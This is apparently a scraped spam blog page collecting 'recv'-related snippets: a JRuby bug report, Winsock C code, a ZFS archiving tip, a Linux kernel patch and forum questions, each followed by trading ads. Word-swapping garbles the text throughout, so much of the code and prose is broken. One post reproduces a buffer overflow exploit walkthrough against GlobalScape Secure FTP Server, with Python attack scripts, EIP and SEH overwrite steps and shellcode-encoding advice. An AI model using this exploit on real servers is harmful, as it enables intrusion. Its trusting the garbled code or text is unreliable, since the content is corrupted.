recv

search for more blogs here

 

"[jruby-scm] [jira] Updated: (JRUBY-1428) UDPSocket.recv should not ..." posted by ~Ray
Posted on 2008-01-02 00:18:56

[ http://jira codehaus org/browse/JRUBY-1428?page=com atlassian jira plugin system issuetabpanels:all-tabpanel ]Dave Halliday updated JRUBY-1428:--------------------------------- Attachment: testSocket diffAdded patch for test/testSocket rb to reproduce problem.> UDPSocket recv should not require connection> -------------------------------------------->> Key: JRUBY-1428> URL: http://jira codehaus org/look for/JRUBY-1428> Project: JRuby> Issue Type: Bug> Components: core out Classes/Modules> Affects Versions: JRuby 1 x> Reporter: Dave Halliday> Fix For: JRuby 1.0.2. JRuby 1.1.0>> Attachments: testSocket diff udp_recv diff>>> The UDPSocket::recv() method throws an exception if it is called on a UDP socket that is not connected. UDP sockets should not require a connection. I noticed this problem because the 'snmp' gem on RubyForge uses recv() so it does not work with current versions of JRuby.> The RubyUDPSocket Java class inherits its behavior for the recv() method from RubyBasicSocket but that implementation requires that the socket is connected before it is called. The attached patch overrides the recv() behavior in RubyBasicSocket and uses the DatagramChannel acquire() method which works for connectionless sockets (same as the recvfrom() method in the UDP class).-- This communicate is automatically generated by JIRA.-If you think it was sent incorrectly communicate one of the administrators: http://jira codehaus org/secure/Administrators jspa-For more information on JIRA see: http://www atlassian com/software/jira <hr/><p>To unsubscribe from this list please visit:</p><p> <a href="http://xircles codehaus org/bring home the bacon_email">http://xircles codehaus org/manage_email</a>

Forex Groups - Tips on Trading

Related article:
http://archive.codehaus.org/jruby/scm/31321618.1192887652463.JavaMail.haus-jira@codehaus01.managed.contegix.com

comments | Add comment | Report as Spam


"please help, winsock2 10061 error" posted by ~Ray
Posted on 2007-11-27 21:48:35

You're currently browsing the C++ section within the Software Development category of DaniWeb a massive community of 240,136 software developers web developers. Internet marketers and tech gurus who are all enthusiastic about making contacts networking and learning from each other. In fact there are 2,232 IT professionals currently interacting alter now! If you are in the IT industry or are just a technology enthusiast you might find just what you're looking for in DaniWeb only takes a minute and lets you apply all of the interactive features of the place. //******************* SERVER PROG ****************#include <winsock2 h>#include <stdio h>#be DEFAULT_BUFLEN 512#be fail_PORT "27015"int __cdecl main() { WSADATA wsaData; int iResult; SOCKET ConnectSocket; struct sockaddr_in clientService; burn *sendbuf = "bu bir testtir."; char recvbuf[fail_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; iResult = WSAStartup(MAKEWORD(2,2). &wsaData); if (iResult != NO_ERROR) { printf("WSAStartup failed: %d\n" iResult); return 1; } ConnectSocket = socket(AF_INET. SOCK_STREAM. IPPROTO_TCP); if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n". WSAGetLastError() ); WSACleanup(); return 1; } clientService sin_family = AF_INET; clientService sin_addr s_addr = inet_addr( "127.0.0.1" ); clientService sin_port = htons( 27015 ); iResult = cerebrate( ConnectSocket. (SOCKADDR*) &clientService sizeof(clientService) ); if ( iResult == SOCKET_ERROR) { closesocket (ConnectSocket); printf("Unable to connect to server: %ld\n". WSAGetLastError()); WSACleanup(); go 1; } iResult = displace( ConnectSocket sendbuf. (int)strlen(sendbuf). 0 ); if (iResult == SOCKET_ERROR) { printf("displace failed: %d\n". WSAGetLastError()); closesocket(ConnectSocket); //WSACleanup(); go 1; } printf("Bytes Sent: %ld\n" iResult); iResult = shutdown(ConnectSocket. SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed: %d\n". WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); go 1; } do { iResult = recv(ConnectSocket recvbuf recvbuflen. 0); if ( iResult > 0 ) printf("Bytes received: %d\n" iResult); else if ( iResult == 0 ) printf("Connection closed\n"); else printf("recv failed: %d\n". WSAGetLastError()); } while( iResult > 0 ); closesocket(ConnectSocket); WSACleanup(); return 0;} //******************* SERVER PROG ****************#include <winsock2 h>#consider <stdio h>#be fail_BUFLEN 512#define DEFAULT_PORT "27015"int __cdecl main() { WSADATA wsaData; int iResult; SOCKET ConnectSocket; struct sockaddr_in clientService; char *sendbuf = "bu bir testtir."; burn recvbuf[fail_BUFLEN]; int recvbuflen = fail_BUFLEN; iResult = WSAStartup(MAKEWORD(2,2). &wsaData); if (iResult != NO_ERROR) { printf("WSAStartup failed: %d\n" iResult); return 1; } ConnectSocket = socket(AF_INET. hit_STREAM. IPPROTO_TCP); if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n". WSAGetLastError() ); WSACleanup(); return 1; } clientService sin_family = AF_INET; clientService sin_addr s_addr = inet_addr( "127.0.0.1" ); clientService sin_port = htons( 27015 ); iResult = cerebrate( ConnectSocket. (SOCKADDR*) &clientService sizeof(clientService) ); if ( iResult == SOCKET_ERROR) { closesocket (ConnectSocket); printf("Unable to cerebrate to server: %ld\n". WSAGetLastError()); WSACleanup(); go 1; } iResult = displace( ConnectSocket sendbuf. (int)strlen(sendbuf). 0 ); if (iResult == SOCKET_ERROR) { printf("send failed: %d\n". WSAGetLastError()); closesocket(ConnectSocket); //WSACleanup(); return 1; } printf("Bytes Sent: %ld\n" iResult); iResult = shutdown(ConnectSocket. SD_displace); if (iResult == SOCKET_ERROR) { printf("shutdown failed: %d\n". WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } do { iResult = recv(ConnectSocket recvbuf recvbuflen. 0); if ( iResult > 0 ) printf("Bytes received: %d\n" iResult); else if ( iResult == 0 ) printf("Connection closed\n"); else printf("recv failed: %d\n". WSAGetLastError()); } while( iResult > 0 ); closesocket(ConnectSocket); WSACleanup(); go 0;} //*******************************CLIENT*********************************#include <winsock2 h>#consider <stdio h>#be fail_BUFLEN 512#be DEFAULT_turn 27015int main() { int iResult; WSADATA wsaData; SOCKET ConnectSocket; struct sockaddr_in clientService; int recvbuflen = DEFAULT_BUFLEN; char *sendbuf = "Client: sending data evaluate"; burn recvbuf[fail_BUFLEN] = ""; iResult = WSAStartup(MAKEWORD(2,2). &wsaData); if (iResult != NO_ERROR) { printf("WSAStartup failed with error: %d\n" iResult); return 1; } ConnectSocket = socket(AF_INET. SOCK_STREAM. IPPROTO_TCP); if (ConnectSocket == remove_SOCKET) { printf("socket failed with error: %ld\n". WSAGetLastError()); WSACleanup(); go 1; } clientService sin_family = AF_INET; clientService sin_addr s_addr = inet_addr( "127.0.0.1" ); clientService sin_turn = htons( DEFAULT_PORT ); iResult = cerebrate( ConnectSocket. (SOCKADDR*) &clientService sizeof(clientService) ); if (iResult == SOCKET_ERROR) { printf( "cerebrate failed with error: %d\n". WSAGetLastError() ); closesocket(ConnectSocket); WSACleanup(); return 1; } iResult = send( ConnectSocket sendbuf. (int)strlen(sendbuf). 0 ); if (iResult == SOCKET_ERROR) { printf("send() failed with error: %d\n". WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } printf("Bytes Sent: %d\n" iResult); iResult = shutdown(ConnectSocket. SD_displace); if (iResult == SOCKET_ERROR) { printf("shutdown failed with error: %d\n". WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); go 1; } do { iResult = recv(ConnectSocket recvbuf recvbuflen. 0); if ( iResult > 0 ) printf("Bytes received: %d\n" iResult); else if ( iResult == 0 ) printf("Connection closed\n"); else printf("recv failed with error: %d\n". WSAGetLastError()); } while( iResult > 0 ); closesocket(ConnectSocket); WSACleanup(); go 0;} //*******************************CLIENT*********************************#include <winsock2 h>#include <stdio h>#define DEFAULT_BUFLEN 512#define fail_PORT 27015int main() { int iResult; WSADATA wsaData; SOCKET ConnectSocket; struct sockaddr_in clientService; int recvbuflen = fail_BUFLEN; char *sendbuf = "Client: sending data test"; char recvbuf[DEFAULT_BUFLEN] = ""; iResult = WSAStartup(MAKEWORD(2,2). &wsaData); if (iResult != NO_ERROR) { printf("WSAStartup failed with error: %d\n" iResult); return 1; } ConnectSocket = socket(AF_INET. hit_STREAM. IPPROTO_TCP); if (ConnectSocket == INVALID_SOCKET) { printf("socket failed with error: %ld\n". WSAGetLastError()); WSACleanup(); return 1; } clientService sin_family = AF_INET; clientService sin_addr s_addr = inet_addr( "127.0.0.1" ); clientService sin_turn = htons( DEFAULT_PORT ); iResult = cerebrate( ConnectSocket. (SOCKADDR*) &clientService sizeof(clientService) ); if (iResult == SOCKET_ERROR) { printf( "connect failed with error: %d\n". WSAGetLastError() ); closesocket(ConnectSocket); WSACleanup(); return 1; } iResult.

Forex Groups - Tips on Trading

Related article:
http://www.daniweb.com/forums/thread94694.html

comments | Add comment | Report as Spam


"Compressed Secure ZFS Archives" posted by ~Ray
Posted on 2007-11-17 17:33:21

ZFS is an amazing technology. Its snapshot capability quickly changes the way you bring home the bacon on the desktop or server. Add replication via zfs send. and zfs recv. and life gets even better. Jeff. Bill and crew geniuses that they are did something very special and exceptionally powerful that you might be overlooking... ZFS replication is just a simple stream. Simply brilliant that is because that means you can dump a ZFS Snapshot into a single file which we would commonly call an "collect". Example: root@aeon ~$ zfs snapshot local@mysnapshotroot@aeon ~$ zfs send local@mysnapshot > /export/local-snapshot zarchive Now consider the possibilities if you will.. we undergo the ability to call this output from one tool to the next. So what if we act a snapshot then we zfs send.. that snapshot through bzip2 to compress it and then into "encode" to encode it and create that to an "archive" file? root@ultra ~$ zfs create pool/testroot@ultra ~$ cp -r /var/adm/* /share/evaluate/root@ultra ~$ zfs list pool/testNAME USED AVAIL REFER MOUNTPOINTpool/test 208K 350G 208K /pool/testroot@ultra ~$ zfs snapshot pool/test@snapshot-`date +%m-%d-%y`grow@ultra ~$ zfs displace pool/evaluate@snapshot-`date +%m-%d-%y` | bzip2 --stdout | encode -a aes -o /tmp/pool test snapshot-`date +%m-%d-%y` archiveEnter key: grow@ultra ~$ zfs destroy -r share/testroot@ultra ~$ rewrite -a aes -i /tmp/pool evaluate snapshot-10-24-07 archive | bunzip2 --stdout | zfs recv -d poolEnter key: root@ultra ~$ zfs list share/testNAME USED AVAIL REFER MOUNTPOINTpool/test 208K 350G 208K /share/evaluate You should have in mind that zfs send man summon specifically says: “The format of the stream is evolving. No backwards compatibility is guaranteed. You may not be able to receive your streams on future versions of ZFS.”which is a big problem for an archive format! So at the worse you’ll need to put on the same OS that you made the archive with… this is commonly the case with other forms of archives sadly they just conceal it in the fine create. Priority #1 is that you HAVE the data.

Forex Groups - Tips on Trading

Related article:
http://www.cuddletech.com/blog/pivot/entry.php?id=867

comments | Add comment | Report as Spam


"Re: Recv too slow" posted by ~Ray
Posted on 2007-11-09 19:09:08

I am facing a weird problem. My application is slowing drink socket calls for another application. When I run my app the Recv callbacks for another app decrease drink. Both the apps use wlan for connections. My application uses tcp/udp sockets and multicasting and I am closing all the sockets properly. Any idea why this might be happening? There is too little information. It could be that your application is actually doing something in work loop and thus eating up all CPU and slowing others. For example getting an error from some socket label ignoring it and reissuing it => 100% CPU circle calling your RunL()...

Forex Groups - Tips on Trading

Related article:
http://www.newlc.com/forum/recv-too-slow#comment-40966

comments | Add comment | Report as Spam


"Paper Towels and more website..." posted by ~Ray
Posted on 2007-11-08 15:29:55

Look for paper towels , linens, bath towels, and more at TowelTown.com
stop by anytime

comments | Add comment | Report as Spam


"Email issue creator" posted by ~Ray
Posted on 2007-11-03 15:02:57

Please help me ! I undergo no idea what is do by. I undergo installed Gemini 2.2.2 and Gemini Scheduler 1.4. In CounterSoft. Gemini. Scheduler exe config 1 unmarked divide MailBoxProcessor 2 set mailbox parameters 3 set ProjectID="5" UserID="2" ComponentID="10" IssueType="4" IssuePriority="1" DebugFile = "c:\Gemini_POP3_log txt" DebugMode = "adjust"In C:\Gemini_POP3_log txt I see information about login to pop3 [17:31:00.51] [INFO] Assembly version: 3.0.0.43.[17:31:00.51] [INFO] Will end entertain "pop3 XXXXXXXXX my server".[17:31:00.51] [INFO] Host "pop3 XXXXXXXXXX" resolved to IP address(es) xx xx xx xx.[17:31:00.51] [INFO] ordain cerebrate to host "pop3 XXXXXXXXXXXXX" on port 110.[17:31:00.53] [INFO] Socket connected to IP address xx xx xx xx on turn 110.[17:31:00.53] [RECV] +OK Hello there.\r\n[17:31:00.53] [INFO] Connected to mail service at host "pop3 XXXXXXXXX" on port 110 and ready.[17:31:00.53] [INFO] Get the enumerate of POP3 capabilities via CAPA dominate.[17:31:00.54] [displace] CAPA\r\n[17:31:00.54] [RECV] +OK Here's what I can do:\r\nSTLS\r\nTOP\r\nUSER\r\nLOGIN-DELAY 10\r\nPIPELINING\r\nUIDL\r\nIMPLEMENTATION Courier Mail Server\r\n.\r\n[17:31:00.54] [INFO] Will login as "username".[17:31:00.54] [INFO] ordain try regular USER/PASS authentication.[17:31:00.56] [SEND] USER username\r\n[17:31:00.56] [RECV] +OK Password required.\r\n[17:31:00.56] [SEND] PASS ********\r\n[17:31:00.57] [RECV] +OK logged in.\r\n[17:31:00.57] [INFO] Logged in as "username".[17:31:00.59] [INFO] Download inbox statistics.[17:31:00.59] [SEND] STAT\r\n[17:31:00.59] [RECV] +OK 1 7925\r\n[17:31:00.60] [INFO] Will download entire messages (startIndex=1 ascertain=1).[17:31:00.60] [SEND] RETR 1\r\n[17:31:00.60] [RECV] +OK 7925 octets follow.\r\n [Total 7953 bytes received.][17:31:00.62] [INFO] Downloaded entire messages (startIndex=1 ascertain=1).[17:31:00.73] [displace] QUIT\r\n[17:31:00.73] [RECV] +OK Bye-bye.\r\n[17:31:00.75] [INFO] Will disconnect from host "pop3 XXXXXXXXXX".[17:31:00.75] [INFO] Disconnected from host "pop3 XXXXXXXXXX". Yes - URL login and password are correctClient WebServicesURL="http://localhost/gemini/webservices" AuthenticationUsername="xxxxxx" AuthenticationPassword="yyyyyyy">where xxxxxx and yyyyyyy is admin's login and password for GeminiService works OK. There are information about function's start in Windows Event log and that MailBox Processor was initialised for client http://localhost/gemini

Forex Groups - Tips on Trading

Related article:
http://community.countersoft.com/forums/thread/5624.aspx

comments | Add comment | Report as Spam


"recv() buffer as string?" posted by ~Ray
Posted on 2007-10-28 12:58:57

This is the dilemna I undergo. The text I am downloading from a server exceeds the coat of the buffer thus cutting off a lot of data. Is there a way to use a string as a buffer? I tried using string getData ;thenrecv(Socket getData c_str() getData length() + 1. 0) ; but I get errors that canot alter from a const char* to burn*. I tried different variations and no luck. I am thinking of also getting the be of bytes and dynamically allocating a burn to get all the data. Id rather use a string though. Thanks for any help. string getData;char buffer[1000];int recvCount=0;while ( (recvCount=recv(Socket modify sizeof(buffer). 0 ) ) > 0 ){ getData attach( buffer recvCount );} But you will probably have other issues since TCP is a stream-based protocol which therefore needs your own protocol on top of it in request to cause where one accumulate of text ends and another begins. Mike Powered by: vBulletin® Version 3.0.16procure ©2000 - 2007. Jelsoft Enterprises Ltd.

Forex Groups - Tips on Trading

Related article:
http://www.codeguru.com/forum/showthread.php?t=434034&goto=newpost

comments | Add comment | Report as Spam


"GlobalScape Secure FTP Server Buffer Overflow" posted by ~Ray
Posted on 2007-10-23 16:41:22

88 wie huch hingefallen & 18 wie am hintern 88 wie huch hingefallen & 18 wie am hintern88 wie huch hingefallen & 18 wie am hintern88 wie huch hingefallen & 18 wie am hintern88 wie huch hingefallen & 18 wie am hintern GlobalScape obtain FTP Server is a flexible reliable and cost-effective File Transfer Protocol (FTP) Server. Secure FTP Server is used to exchange data securely using the most up-to-date security protocols available and employs a rich set of automation tools providing a comprehensive data management solution. GlobalScape FTP server does not separate user enter properly and crashes once ~3000 characters are sent by an authenticated user. The following python compose ordain come down the server with the resulting CPU registers (Figure 1). #!/usr/bin/python merchandise socketimport structimport timebuffer = ‘\x41′*3000 s=socket socket(socket. AF_INET socket. SOCK_be adrift) connect=s cerebrate((‘192.168.1.153′,21)) d=s recv(1024) .(1) s displace(‘USER mutsrn‘) s recv(1024) .(1) s displace(‘go mutsrn‘) s recv(1024) .(1) s displace(modify+‘rn‘) s=socket socket(socket. AF_INET socket. SOCK_be adrift) connect=s connect((‘192.168.1.153′,21)) d=s recv(1024) .(1) s send(‘USER mutsrn‘) s recv(1024) .(1) s send(‘go mutsrn‘) s recv(1024) .(1) s send(buffer+‘rn‘) (Figure 2)Notice that EIP is overwritten with B’s (\x42) and that remaining user input is pointed to by ECX. ESP and ESI. Theoretically we can attempt to place our shellcode in the lade at any one of these memory addresses as long as we can move to that location. For the purposes of our demonstration we will “jump to ESP” in request to arrive in our shellcode. We also need to cause exactly how much lay we undergo for our shellcode. We can do this by sending a long string (in our case. 2000 \xCC’s) and examining the lade after the crash. The buffer below resulted in evaluate 3. modify = ‘\x41′*2043 + ‘\x42′*4 +’\xCC’*2000 Some applications separate or alter the data stream they receive. In order for our exploit to work we be to ensure that none of our shellcode (or entire buffer for that be) is altered by the application. We can check for filtering by sending varying ascii characters as our “shellcode” and then check in the debugger to see if anything has changed. We send the following modify and receive the output in Figure 4: modify = ‘\x41′*2043 + ‘\x42′*4 +’ABCD…XYZabcd. xyz123…890′ evaluate 4)If you look closely you will see that GlobalScape FTP server converts lowercase characters to uppercase. Any character from \x60 upto \x7a will be converted. We can beat this problem by creating lowercase-free shellcode with the Metasploit shellcode generator – more specifically by using the PexAlphaNum shellcode encoder. We also need to take compassionate in choosing our “JMP ESP” communicate and make sure it doesn’t include any of these characters as come up. Using class101’s findjump2 we find ESP addresses in a relevant system dll such as kernel32 dll or ntdll dll as depicted in Figure 5. C:\>findjump2 exe kernel32 dll espFindjmp. Eeye. I2S-LaBFindjmp2. Hat-SquadScanning kernel32 dll for code useable with the esp enter0×7C4FEDBBcall espFinished Scanning kernel32 dll for label useable with the esp registerFound 1 usable addressesC:\> #!/usr/bin/pythonimport socketimport structimport buffer = ‘x41′*2099+ ‘x42′*4+‘x43′*4+‘x44′*900try: s=socket socket(socket. AF_INET socket. SOCK_STREAM) connect=s cerebrate((‘192.168.1.153′,21)) d=s recv(1024) .(1) s send(‘USER mutsrn‘) s recv(1024) .(1) s send(‘go mutsrn‘) s recv(1024) .(1) s send(modify+‘rn‘)object: “Can’t connect to ftp” (evaluate 6)In addition we see that the EBX register is pointing to the rest of our user controlled data so a move to EBX is in order. We will use the 4 B’s to (short) move over our re-create SEH in order to arrive in our shellcode (evaluate 7). say #1: This bind was meant to arrange my own thoughts about this modify overflow. If you find errors mistakes blatant garbage or otherwise have comments – conclude free to communicate me. NOTE #2: The exploit described here has been tested on Windows 2000 Server SP4. No special attempts have been made to extrapolate return addresses. If you need to dress the code to suit your needs! NOTE #3: Vendor has been notified and a fix is available. No animals were harmed during this process. Thanks to my wife for tolerating me during my learning undergo. Thanks to Tal zeltzer for guiding me through the darkness. Thanks to Metasploit for their wonderful wonderful stuff. All the whitehat co il gang – you know who you are!George my smelly yet lovable dog -> XHTML: You can use these tags:.

Forex Groups - Tips on Trading

Related article:
http://www.thepainted.de/?p=583

comments | Add comment | Report as Spam


"[PATCH] allow send/recv(MSG_DONTWAIT) on non-sockets (was Re ..." posted by ~Ray
Posted on 2007-10-17 16:07:44

. which happens in ~250 files. I'd rather not touch that muchof code if possible. Attached conjoin detects send/recv(fd buf size. MSG_DONTWAIT) onnon-sockets and turns them into non-blocking create verbally/construe. Since filp->f_flags appear to be construe and modified without any locking,I cannot modify it without potentially affecting other processesaccessing the same register through shared struct register. Therefore I simply make a temporary write of struct file setO_NONBLOCK in it and go it to vfs_construe/create verbally. Is this heresy? ;) I see only one spinlock in struct file:#ifdef CONFIG_EPOLL spinlock_t f_ep_fasten;#endif /* #ifdef CONFIG_EPOLL */Do I be to take it?Also attached is ndelaytest c which can be used to test thatsend(MSG_DONTWAIT) indeed is failing with EAGAIN if write would blockand that other processes never see O_NONBLOCK set. Comments?--vda--- linux-2.6.22-rc6 src/fs/read_write cFri Jun 15 19:30:05 2007+++ linux-2.6.22-rc6_ndelay/fs/read_write cSun Aug 19 10:43:24 2007@@ -15,6 +15,7 @@ #include <linux/module h> #include <linux/syscalls h> #consider <linux/pagemap h>+#consider <linux/socket h> #consider "construe_write h" #include <asm/uaccess h>@@ -351,6 +352,36 @@ static inline cancel file_pos_create verbally(struct file *register loff_t pos) { file->f_pos = pos;+}++/* Helper for send/recv on non-sockets */+ssize_t rw_with_flags(struct register *file int fput_needed void __user *buf size_t count unsigned flags)+{+int err;+loff_t pos;+struct file *register_copy;++file_copy = register;+if (flags & MSG_DONTWAIT) {+/* We make copy change surface if O_NONBLOCK is already set. */+/* We don't want it to dress under our feet. */+file_write = kmalloc(sizeof(*file_write). GFP_KERNEL);+memcpy(file_write register sizeof(*register_write));+file_copy->f_flags |= O_NONBLOCK;+}++pos = file_pos_construe(register);+if (flags & MSG_OOB) /* MSG_OOB is reused to mean 'create verbally' */+err = vfs_write(file_copy buf count. &pos);+else+err = vfs_construe(register_write buf count. &pos);+file_pos_write(file pos);++if (flags & MSG_DONTWAIT) {+kfree(file_copy);+}+fput_light(register fput_needed);+return err; } asmlinkage ssize_t sys_read(unsigned int fd char __user * buf coat_t count)--- linux-2.6.22-rc6 src/include/linux/fs hWed Jun 27 21:24:18 2007+++ linux-2.6.22-rc6_ndelay/include/linux/fs hSun Aug 19 10:32:20 2007@@ -1154,6 +1154,9 @@ extern ssize_t vfs_writev(struct file * const struct iovec __user * unsigned desire loff_t *); +extern ssize_t rw_with_flags(struct file * int cancel __user * size_t,+unsigned);+ /* * NOTE: write_inode delete_inode alter_inode put_inode can be called * without the big kernel fasten held in all filesystems.--- linux-2.6.22-rc6 src/net/socket cFri Jun 15 19:30:08 2007+++ linux-2.6.22-rc6_ndelay/net/socket cSun Aug 19 11:34:07 2007@@ -1585,8 +1585,17 @@ goto out; sock = hit_from_file(sock_file. &err);-if (!hit)-goto out_put;+if (!sock) {+if (addr)+goto out_put;+if (flags & ~MSG_DONTWAIT)+goto out_put;+/* it's not a socket but we give a special case:+ * displace(fd buf ascertain. MSG_DONTWAIT)+ * (MSG_OOB is reused to mean 'write') */+return rw_with_flags(sock_file fput_needed buff len flags | MSG_OOB);+}+ iov iov_base = hit; iov iov_len = len; msg msg_name = NULL;@@ -1646,8 +1655,15 @@ goto out; sock = sock_from_file(sock_file. &err);-if (!sock)-goto out_put;+if (!hit) {+if (addr)+goto out_put;+if (flags & ~MSG_DONTWAIT)+goto out_put;+/* it's not a socket but we support a special case:+ * recv(fd ubuf coat. MSG_DONTWAIT) */+go rw_with_flags(sock_file fput_needed ubuf coat flags);+} msg msg_control = NULL; msg msg_controllen = 0;#include <sys/types h>#consider <sys/socket h>#consider <errno h>#consider <stdio h>#include <unistd h>#consider <fcntl h>#include <measure h>#include <signal h>#define SECONDS 10#define STR "."//#be STR "123456789 123456789 123456789 123456789 "/* To see displace() resulting in EAGAIN: * strace -ff -o log ndelaytest | while sleep 11; do break; done * log.$PID: * send(1. "123456789 123456789 123456789 12".... 40. MSG_DONTWAIT) * = -1 EAGAIN (Resource temporarily unavailable) */int main(){pid_t pid;time_t t;int fl;puts("starting");t = time(0);pid = fork();if (pid == 0) {/* child */while ((measure(0) - t) < SECONDS-1) {#if 0 /* Uncomment this part and simply run the executable * to see go detection code in action */#be OP "write"fcntl(1. F_SETFL fcntl(1. F_GETFL) | O_NONBLOCK);fl = create verbally(1. STR sizeof(STR) - 1);fcntl(1. F_SETFL fcntl(1. F_GETFL) & ~O_NONBLOCK);#else/* This part tests whether send(MSG_DONTWAIT) * is racy or not */#be OP "send"fl = send(1. STR sizeof(STR) - 1. MSG_DONTWAIT);#endifif (fl < 0) {perror(OP);kill(getppid(). SIGKILL);go 1;}}return 0;}while ((measure(0) - t) < SECONDS) {fl = fcntl(1. F_GETFL);if (fl & O_NONBLOCK) {fprintf(stderr. "NONBLOCK:1\n");kill(pid. SIGKILL);fcntl(1. F_SETFL fl & ~O_NONBLOCK);return 1;}}fprintf(stderr..

Forex Groups - Tips on Trading

Related article:
http://linux.derkeiler.com/Mailing-Lists/Kernel/2007-08/msg08432.html

comments | Add comment | Report as Spam


"Socket recv(1) seems to block instead of returning end of file." posted by ~Ray
Posted on 2007-10-10 17:40:07

While doing a netstring implementation I noticed that if youbuild a record up using socket's recv(1) then when you closethe remote end drink the recv(1) hangs despite having a shorttime out of 0.1 set. If however you try to receive more than one burn. (I tested with 3,did not try 2) then when you shut the remote end down you do notget a time out but an alter string - the normal end of register. I speculate. Has anybody else seen this behaviour?The transmit side seems to give a broken call error which is book. I am using stock standard SuSe 10. Python 2.4 out of the box.- Hendrik. .. The remote device incorporates a sensor which produces a simple.. to transmita sigal without any signal boosters.. and commands are transmitted acoustically through theliquid. .. substantial acoustic impedance mismatch between the liquid and the call... (sci electronics design) . simply sight the presence of an IR communicate oscillating at around 40 Khz. ... A typical IR remote would play that carrier by turning it on... RF remotes are similar,in that instead of a 40 Kz carrier on an IR LED. ... If you can reach you can find chipsthat do both the transmit and receive... (sci electronics design) .. The remote device incorporates a sensor which produces a simple.. to transmita sigal without any communicate boosters.. simple and cheap solution. .. ear to thepipe) and a bring together of cell phones. ... (sci electronics design) .. The remote device incorporates a sensor which produces a simple.. to transmita sigal without any signal boosters... If the pipe can be grounded at both ends. .. generator and an audio amp at the drive end. ... (sci electronics create by mental act)

Forex Groups - Tips on Trading

Related article:
http://coding.derkeiler.com/Archive/Python/comp.lang.python/2007-08/msg02725.html

comments | Add comment | Report as Spam


 

 




blogs - aa blogs - air force blogs - aquarius blogs - aries blogs - army blogs - arts blogs - baby blogs - blogs 4 men - blogs 4 women - cancer blogs - capricorn blogs - career change blogs - choice blogs - christmas blogs - cigar blogs - cigarette blogs - cig blogs - coast guard blogs - coffee bean blogs - college baseball blogs - college basketball blogs - college football blogs - colleges blogs - computer blogs - create blogs - dating blogs - elvis blogs - email chat blogs - email pal blogs - enhancement blogs - fall blogs - fha blogs - freedom blogs - friendly blogs - funny blogs - gambler blogs - gemini blogs - her blog - his blog - hockey blogs - join blogs - javas blogs - kid safe blogs - leo blogs - libra blogs - apartments blogs - coffees blogs - horoscopes blogs - life advice blogs - lover blogs - marine blogs - married blogs - military blogs - misc blogs - more money blogs - mortgage blogs - move blogs - movies blogs - musical blogs - navy blogs - new in town blogs - obscure blogs - online date blogs - online game blogs - over 30 blogs - over 40 blogs - over 50 blogs - over 60 blogs - over 70 blogs - over 80 blogs - over 90 blogs - password blogs - pc blogs - mortgages blogs - peoples blogs - pictures blogs - pipe blogs - pisces blogs - poems blogs - poker blogs - police blogs - political blogs radio blogs - read blogs - recreational vehicle blogs - relocation blogs - reserve blogs - rv blogs - safe blogs - scorpio blogs - singles blogs - smokers blogs - smoker blogs - state blogs - state college blogs - taurus blogs - teen advice blogs - teenager blogs - tobacco blogs - tv blogs - vacation blogs - veteran blogs - virgo blogs - virtual blogs - weekly blogs - wingman blogs - word blogs - words blogs - writer blogs - poetry blogs - prescription blogs - sagittarius blogs - straight blogs - summer blogs - gi blogs - hooka blogs - penis enlargement blogs - vfw blogs - casinos blogs - casino blogs - web hosting blogs - hosting blogs - auto blogs - truck blogs - van blogs - suv blogs - 4 wheel blogs - harley blogs - flu blogs - diet blogs - pistols blogs - teenage blogs - lpga blogs - burnable blogs - new tunes blogs - coaching blogs - treasures blogs - trades blogs - nutty blogs - skate blogs - play 21 blogs - weather blogs - poker players - golf blogs - american blogs - football blogs - baseball blogs - hockey blogs - basketball blogs - soccer blogs - cooking blogs - recipe blogs - space blogs - 3d games blogs - barbecue blogs




the recv archives:

11 articles in 2006-01
22 articles in 2006-02
27 articles in 2006-03
37 articles in 2006-04
27 articles in 2006-05
26 articles in 2006-06
24 articles in 2006-07
18 articles in 2006-08
22 articles in 2006-09
30 articles in 2006-10
22 articles in 2006-11
22 articles in 2006-12
12 articles in 2007-01
12 articles in 2007-02
3 articles in 2007-03
7 articles in 2007-04
11 articles in 2007-05
10 articles in 2007-06
3 articles in 2007-07
1 articles in 2007-09
1 articles in 2007-11




next page


recv